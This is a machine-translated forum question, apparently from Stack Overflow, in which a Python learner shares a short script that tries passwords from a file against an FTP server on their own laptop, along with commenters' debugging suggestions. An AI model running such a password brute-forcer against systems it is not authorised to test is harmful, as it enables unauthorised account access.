,我尝试使用vsftpd的自学蟒蛇我在我的笔记本电脑打开FTP服务器(Ubuntu的12.04)。是(对于尝试着想)NINJA
123
的配置,我可以使用 ftp localhost
笔记本电脑本身,我选择的用户名和密码登录后。 在我的电脑上(在局域网中)我打开浏览器,输入ftp://192.168.1.108/
。当我得到一个弹出式用户名和密码,我输入上面的细节 - 所以 - 一切工作FTP明智。Python的bruteforcer的FTP不工作
我写了这个尝试和突破中:
import socket
import ftplib
port=21
ip="192.168.1.108"
file1="passwords"
try:
s=socket.socket()
s.connect((ip,port))
print "port",port,"is open"
moshe=open(file1,'r')
for line in moshe.readlines():
password=line.strip("\n")
print password
try:
ftp = ftplib.FTP(ip)
ftp.login("NINJA",password)
print ("THE PASSWORD IS:",password)
break
except ftplib.error_perm:
print "Incorrect"
moshe.close()
except:
print "port",port,"is closed"
似乎由于工作抢
你能检查vsftpd的日志?有没有任何信息表明脚本试图登录? –
简化您的示例。摆脱密码文件,并尝试直接与'ftp.login(“NINJA”,“123”)'连接。 –
@UliKöhler我会很乐意这样做,如果你们会有一种足以告诉我,它位于 Robᵩ我改变了它,但仍不起作用 – Giladiald